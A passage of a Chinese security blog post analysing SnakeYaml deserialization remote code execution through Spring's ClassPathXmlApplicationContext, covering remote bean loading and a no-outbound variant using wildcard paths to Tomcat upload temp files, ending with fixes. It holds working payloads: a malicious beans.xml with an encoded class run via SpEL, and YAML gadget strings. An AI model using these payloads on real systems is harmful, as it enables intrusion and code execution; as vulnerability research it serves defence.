实际上核心的处理逻辑在`PathMatchingResourcePatternResolver:getResources`方法, 接下来分析一下这个方法的解析逻辑:  该方法首先会判断协议是否是`war`或者协议中包含`:`, 如果是`包含:`的情况则使用模糊匹配. 如果模糊匹配不到的话会判断当前的协议, 是以`/`打头还是以`classpath:`打头, 这两种都会返回不同的资源处理器. 出现问题的是163~164行的`new URL()`, 而我们知道的是`new URL()`所支持的协议很多: ```php file ftp mailto http https jar netdoc gopher(1.7可利用但需条件) ``` 并且将 URL 解析后会返回`UrlResource`实例. 调用回溯在`org.springframework.beans.factory.support.AbstractBeanDefinitionReader::loadBeanDefinitions`中存在接下来的逻辑:  所以这就是远程注册 Bean 的原因. ###### 远程注册 Bean 进行 RCE 案例 接下来对上述原理进行验证, 我们启动一个 python 服务, 并且放置文件内容如下: ```xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="payload" class="java.lang.String"> <constructor-arg value="yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACNMY29tL2hlaWh1NTc3L2JlYW4vTWVtc2hlbGxJbmplY3QxOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAUTWVtc2hlbGxJbmplY3QxLmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBACFjb20vaGVpaHU1NzcvYmVhbi9NZW1zaGVsbEluamVjdDEBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAUADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAgACQALAAwACQANAAoAFgAMAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc="/> </bean> <bean id="mySpEL" class="java.lang.String"> <constructor-arg value="#{T(org.springframework.cglib.core.ReflectUtils).defineClass( 'com.heihu577.bean.MemshellInject1', T(org.springframework.util.Base64Utils).decodeFromString(payload), T(java.lang.Thread).currentThread().getContextClassLoader() ).newInstance()}"/> </bean> </beans> ``` 随后准备如下DEMO: ```java package com.heihu577; import org.junit.Test; import org.springframework.context.support.ClassPathXmlApplicationContext; public class SpringTest { @Test public void t1() { new ClassPathXmlApplicationContext("http://127.0.0.1:8000/beans.xml"); } } ``` 最终运行结果:  ###### 在 SnakeYaml 中的利用案例 当然可以利用在 SnakeYaml, 在 SpringBoot 项目中引入`SnakeYaml`: ```xml <dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.33</version> <!-- 2.4 版本被修复 --> </dependency> ``` 随后使用 yaml 进行加载: ```java @Test public void t1() { // new ClassPathXmlApplicationContext("http://127.0.0.1:8000/beans.xml"); Yaml yaml = new Yaml(); String ymlTxt = "!!org.springframework.context.support.ClassPathXmlApplicationContext [!!java.lang.String \"http://127.0.0.1:8000/beans.xml\"]"; yaml.load(ymlTxt); } ``` 运行结果:  #### 常用依赖 ClassPathXmlApplicationContext【带参构造】不出网 RCE 利用 ##### ioc.getBean(通配符) 使用【代码分析】 在`ClassPathXmlApplicationContext【带参构造】出网 RCE 利用 - ClassPathXmlApplicationContext 出网分析【代码分析】`中我们看到过对于模糊匹配的规则, 只是并没有深入去研究, 那么接下来我们看一下对于模糊匹配的处理流程, 为了方便处理流程的理解, 这边先提供一个测试案例: ```java package com.heihu577; import org.springframework.context.support.ClassPathXmlApplicationContext; import java.net.MalformedURLException; public class URLTest { public static void main(String[] args) throws MalformedURLException { // 假设要查找 file:///C:/Users/Administrator/Desktop/javaCode/SpringBootTesterBeans/src/main/resources/beans.xml new ClassPathXmlApplicationContext("file:///C:/Users/Administrator/Desktop/javaCode/SpringBootTesterBeans/???/**/*.xml"); } } ``` > 在这个代码案例中, 我们使用`ClassPathXmlApplicationContext`加载`C:/Users/Administrator/Desktop/javaCode/SpringBootTesterBeans/src/main/resources/beans.xml`后会进行弹窗calc. 对于资源处理的类, 在SpringBoot底层中是在`AntPathMatcher类`中进行处理的, 该类的注释中也说明了对于模糊匹配的写法:  而在开发中我们通常配置过这些语法, 例如在 MyBatis 中配置`*.xml`用来扫描 Mapper 文件等, 而具体的处理机制我们在`AntPathMatcher::isPattern方法`上打上断点进行分析:  从图中可以看到核心模糊匹配会交给`PathMatchingResourcePatternResolver::doFindMatchingFileSystemResources方法`进行处理, 我们看一下运行流程:  而图中的811行的`getPathMatcher().match(fullPattern,currPath)`则是模糊匹配的详细处理机制, 由于代码行数较多, 就不再截图说明了, `AntPathMatcher::doMatch`代码如下: ```java protected boolean doMatch(String pattern, @Nullable String path, boolean fullMatch, @Nullable Map<String, String> uriTemplateVariables) { if (path == null || path.startsWith(this.pathSeparator) != pattern.startsWith(this.pathSeparator)) { return false; } String[] pattDirs = tokenizePattern(pattern); if (fullMatch && this.caseSensitive && !isPotentialMatch(path, pattDirs)) { return false; } String[] pathDirs = tokenizePath(path); int pattIdxStart = 0; int pattIdxEnd = pattDirs.length - 1; int pathIdxStart = 0; int pathIdxEnd = pathDirs.length - 1; // Match all elements up to the first ** while (pattIdxStart <= pattIdxEnd && pathIdxStart <= pathIdxEnd) { String pattDir = pattDirs[pattIdxStart]; if ("**".equals(pattDir)) { break; } if (!matchStrings(pattDir, pathDirs[pathIdxStart], uriTemplateVariables)) { return false; } pattIdxStart++; pathIdxStart++; } if (pathIdxStart > pathIdxEnd) { // Path is exhausted, only match if rest of pattern is * or **'s if (pattIdxStart > pattIdxEnd) { return (pattern.endsWith(this.pathSeparator) == path.endsWith(this.pathSeparator)); } if (!fullMatch) { return true; } if (pattIdxStart == pattIdxEnd && pattDirs[pattIdxStart].equals("*") && path.endsWith(this.pathSeparator)) { return true; } for (int i = pattIdxStart; i <= pattIdxEnd; i++) { if (!pattDirs[i].equals("**")) { return false; } } return true; } else if (pattIdxStart > pattIdxEnd) { // String not exhausted, but pattern is. Failure. return false; } else if (!fullMatch && "**".equals(pattDirs[pattIdxStart])) { // Path start definitely matches due to "**" part in pattern. return true; } // up to last '**' while (pattIdxStart <= pattIdxEnd && pathIdxStart <= pathIdxEnd) { String pattDir = pattDirs[pattIdxEnd]; if (pattDir.equals("**")) { break; } if (!matchStrings(pattDir, pathDirs[pathIdxEnd], uriTemplateVariables)) { return false; } pattIdxEnd--; pathIdxEnd--; } if (pathIdxStart > pathIdxEnd) { // String is exhausted for (int i = pattIdxStart; i <= pattIdxEnd; i++) { if (!pattDirs[i].equals("**")) { return false; } } return true; } while (pattIdxStart != pattIdxEnd && pathIdxStart <= pathIdxEnd) { int patIdxTmp = -1; for (int i = pattIdxStart + 1; i <= pattIdxEnd; i++) { if (pattDirs[i].equals("**")) { patIdxTmp = i; break; } } if (patIdxTmp == pattIdxStart + 1) { // '**/**' situation, so skip one pattIdxStart++; continue; } // Find the pattern between padIdxStart & padIdxTmp in str between // strIdxStart & strIdxEnd int patLength = (patIdxTmp - pattIdxStart - 1); int strLength = (pathIdxEnd - pathIdxStart + 1); int foundIdx = -1; strLoop: for (int i = 0; i <= strLength - patLength; i++) { for (int j = 0; j < patLength; j++) { String subPat = pattDirs[pattIdxStart + j + 1]; String subStr = pathDirs[pathIdxStart + i + j]; if (!matchStrings(subPat, subStr, uriTemplateVariables)) { continue strLoop; } } foundIdx = pathIdxStart + i; break; } if (foundIdx == -1) { return false; } pattIdxStart = patIdxTmp; pathIdxStart = foundIdx + patLength; } for (int i = pattIdxStart; i <= pattIdxEnd; i++) { if (!pattDirs[i].equals("**")) { return false; } } return true; } ``` 该方法我们可以看到对于`**`的处理, 而对于`*,?,{}`的处理实际上在`isPotentialMatch`方法中:  综上所述, 在`Spring`框架中, 使用`ClassPathXmlApplicationContxt::getBean`中是可以使用通配符的. ##### SpringBoot 上传文件临时目录分析【Apache Commons FileUpload 组件】 我们在`FileUploadBase::parseRequest方法`上打上断点, 并且开启一个`SprignBoot`服务, 准备如下上传表单进行分析: ```html <form action="http://localhost:8080/page/index" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit"> </form> ``` 调用栈分析:  当文件上传时, `DispatcherServlet::doDispatch方法`会进行解析文件上传的内容, 最终会调用到`FileUploadBase::parseRequest方法`进行处理文件参数请求. 在处理文件的上一个调用栈`DispatcherServlet::parseParts`方法中存在临时目录的设置:  而`ServletContext::TEMPDIR`又是什么时候被设置的呢?实际上是在`Tomcat`启动时`StandardContext::postWorkDirectory`方法中进行设置:  Tomcat 使用临时文件的保存形式进行暂时存储上传的信息:  那么临时文件会存储到哪里呢?可以根据下图来找到答案:  但这个文件只是临时文件, 当`DispatcherServlet::doDispatch`方法运行结束时会进行清除:  在`DispatcherServlet::doDispatch`方法处理完毕后, 会将产生的临时文件给删除掉. 而这个删除时机由于是在末尾, 所以就衍生出了`模糊匹配 + 临时文件`进行RCE. ##### 通配符 & 临时文件组合拳 RCE - SnakeYaml 案例【SpringBoot 文件上传临时目录坑点】 ###### 坑点记载 这个点让我吃了一些时间, 在整个漏洞复现的过程中会遇到如下报错, 先把坑点记上来:  原因则是, 文件上传时的表单不管是不是上传域, 都会将其保存在临时目录中, 如图:  `yml`显然是我们的`Payload`, 而`Payload`中的`*.tmp`最终会匹配到自己 (payload), 而不是我们的恶意`beans.xml`的临时文件, 所以导致的报错. ###### 漏洞复现展示 准备如下环境: ```java @RequestMapping("/snakeYaml") @ResponseBody public String snakeYaml(String yml) throws IOException { Yaml yaml = new Yaml(); Object obj = yaml.load(yml); return "yaml load success~"; } ``` 显然这是一个存在`snakeyaml漏洞`的漏洞案例, 随后我们使用如下脚本: ```java <meta charset="utf-8"> <form action="http://localhost:8080/page/snakeYaml" method="post" enctype="multipart/form-data"> <textarea name="yml" style="width: 300px; height: 300px"> !!org.springframework.context.support.ClassPathXmlApplicationContext [ !!java.lang.String "file:///C:/Users/Administrator/AppData/Local/Temp/*/work/Tomcat/localhost/ROOT/upload_*.tmp" ] </textarea><br> <input type="file" name="file"><br> <input type="submit"> </form> ``` 文件上传时选择我们想要目标环境加载的恶意`beans.xml`文件即可, 但是由于存在两个表单, 所以临时目录中会存在两个临时文件, 这边我们只需要在模糊匹配时, 按照产生临时文件的最后一位是`奇偶数`进行盲猜即可, 最终`Payload`:  如果临时文件最后一位不是1, 那就多发几次包即可~, 多发几次包也不管用? 那就把1换成2~. ###### 通过通配符简化 Payload 由于刚刚的 Payload 中, 我们定义了磁盘文件夹的路径信息, 难道说我们还需要猜测临时文件的绝对路径吗?其实并不是这样的, 我们将端点打在`PropertyPlaceholderHelper:parseStringValue`方法, 如下:  在这里会进行环境变量替换操作, 那么我们的绝对路径实际上在`catalina.home`中, 如图:  并且在匹配成功后会对其进行替换:  那么我们的`payload`可以升级为如下: ```php !!org.springframework.context.support.ClassPathXmlApplicationContext [ !!java.lang.String "file:///${catalina.home}/**/upload_*3.tmp" ] ``` 多发几次包即可进行RCE. 漏洞修复 ---- ### 低版本配置 引入`SafeConstructor`: ```java @Test public void loadYml2() { Yaml yaml = new Yaml(new SafeConstructor()); String myYml = "!!com.heihu577.bean.Person {username: \"heihu577\",age: 11}"; Object ymlObj = yaml.load(myYml); System.out.println(ymlObj); } ``` ### 升级 SnakeYaml 版本 升级框架版本的修复方式可参考: <https://mvnrepository.com/artifact/org.yaml/snakeyaml>, 以及官网: <https://bitbucket.org/snakeyaml/snakeyaml/wiki/Changes>  如果升级之后想要转换为 JavaBean 可以使用: ```java @Test public void loadYaml5() { Constructor constructor = new Constructor(new LoaderOptions()); constructor.addTypeDescription(new TypeDescription(Person.class, "!com.heihu577.bean.Person")); Yaml yaml = new Yaml(constructor); String yml = "!com.heihu577.bean.Person {username: \"heihu577\", age: 11}"; Person person = (Person) yaml.load(yml); System.out.println(person); } ``` Reference --------- Java安全之SnakeYaml漏洞分析与利用: <https://xz.aliyun.com/news/12229> 深入浅出SnakeYaml反序列化 (Freebuf VIP): <https://www.freebuf.com/articles/web/413840.html> Java安全之SnakeYaml反序列化分析: <https://www.cnblogs.com/CoLo/p/16225141.html> Java SnakeYaml反序列化学习: <https://www.cnblogs.com/R0ser1/p/16213257.html> Java安全之SnakeYaml反序列化分析: <https://www.cnblogs.com/nice0e3/p/14514882.html> Java安全之SnakeYaml反序列化分析: <https://tttang.com/archive/1591/> P 牛 SnakeYaml: <https://www.leavesongs.com/PENETRATION/jdbc-injection-with-hertzbeat-cve-2024-42323.html> ClassPathXmlApplicationContext 利用: <https://mp.weixin.qq.com/s/A3RqzJwbG3AWHXUyXT2Jbw> Snake Yaml 反序列化绕过 !! 的 trick: <https://mp.weixin.qq.com/s/2i6Q9Ob7n0cSxuj9Rob8Uw> Snake Yaml 2023 年度的一道 CTF: <https://www.cnblogs.com/EddieMurphy-blogs/p/18160178> Snake Yaml 官方文档: <https://bitbucket.org/snakeyaml/snakeyaml/wiki/Documentation> & <https://yaml.org/spec/1.1/#id858961> Snake Yaml 漏洞篇: <https://red6380.github.io/snakeyaml/> Snake Yaml 用法: <https://www.baeldung-cn.com/java-snake-yaml> 链子比较多的: <https://changeyourway.github.io/2025/05/17/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-SnakeYaml%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/> Resin && XBean反序列化利用链学习: [https://boogipop.com/2023/05/18/Resin&&XBean%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE%E5%AD%A6%E4%B9%A0](https://boogipop.com/2023/05/18/Resin&&XBean%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE%E5%AD%A6%E4%B9%A0) 花式调用 toString【不使用 BadAttribute 经典链】: <https://xz.aliyun.com/news/15977>
发表于 2025-08-07 09:00:01
阅读 ( 401 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
Heihu577
3 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!